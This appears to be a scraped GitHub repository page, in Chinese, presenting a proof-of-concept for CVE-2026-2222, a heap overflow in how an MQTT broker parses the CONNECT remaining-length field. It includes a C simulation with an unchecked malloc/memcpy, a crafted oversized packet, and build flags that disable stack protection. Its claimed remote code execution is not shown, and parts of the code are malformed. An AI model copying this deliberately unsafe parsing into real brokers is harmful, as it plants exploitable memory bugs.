George0Papasotiriou/CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow
GitHub: George0Papasotiriou/CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow
针对 MQTT Broker CONNECT 报文剩余长度字段解析缺陷导致的堆溢出漏洞的概念验证项目，模拟并演示了远程代码执行的利用过程。
Stars: 0 | Forks: 0
## CVE-2026-2222 – MQTT Broker CONNECT 报文堆溢出
### **程序代码 (C + Python)**
```
// mqtt_broker_sim.c - Simulated vulnerable MQTT broker
#include
#include
#include
struct mqtt_connect {
char protocol_name[8];
uint8_t protocol_level;
uint8_t flags;
uint16_t keepalive;
// remaining length field misinterpreted
};
void process_connect(uint8_t *packet, size_t len) {
// Assume we've parsed fixed header: remaining length = (packet[1] & 0x7F) + ...
// For demo, we read a 2-byte "remaining length" from packet[1:3] and allocate that many bytes,
// then copy payload without proper bounds.
uint16_t remaining_length = (packet[1] << 8) | packet[2]; // should be encoded as variable length, but we misuse
printf("Allocating %d bytes\n", remaining_length);
char *buffer = malloc(remaining_length); // if remaining_length is crafted to wrap, small allocation
// copy payload from packet+3 for remaining_length bytes -> heap overflow if remaining_length > len-3
memcpy(buffer, packet+3, remaining_length); // overflow
// process...
free(buffer);
}
int main() {
// Crafted malicious packet: remaining_length = 0xFFFF (65535) but actual packet size small
uint8_t evil[] = {0x10, 0xFF, 0xFF, 0x00, 0x04, 'M','Q','T','T'}; // length 9
process_connect(evil, sizeof(evil));
return 0;
}
```
# CVE-2026-2222 – MQTT Broker CONNECT 堆溢出
## 概述
在解析 MQTT CONNECT 报文的剩余长度字段时发生的整数溢出会导致堆缓冲区溢出，从而允许在 broker 上执行远程代码。
## 漏洞详情
- **类型：** 整数溢出 / 堆缓冲区溢出
- **影响：** 在 MQTT broker 上执行远程代码，危及所有已连接的 IoT 设备。
- **根本原因：** broker 将剩余长度解码为 16 位值，并直接将其用于内存分配和拷贝，而没有根据实际报文大小进行验证。
## 漏洞利用演示
编译并运行模拟的易受攻击 broker：
```
gcc mqtt_broker_sim.c -o mqtt_broker_sim -fno-stack-protector -z execstack
./mqtt_broker_sim
```
标签：C, Google搜索, Python, 客户端加密, 无后门, 漏洞 PoC, 物联网, 逆向工具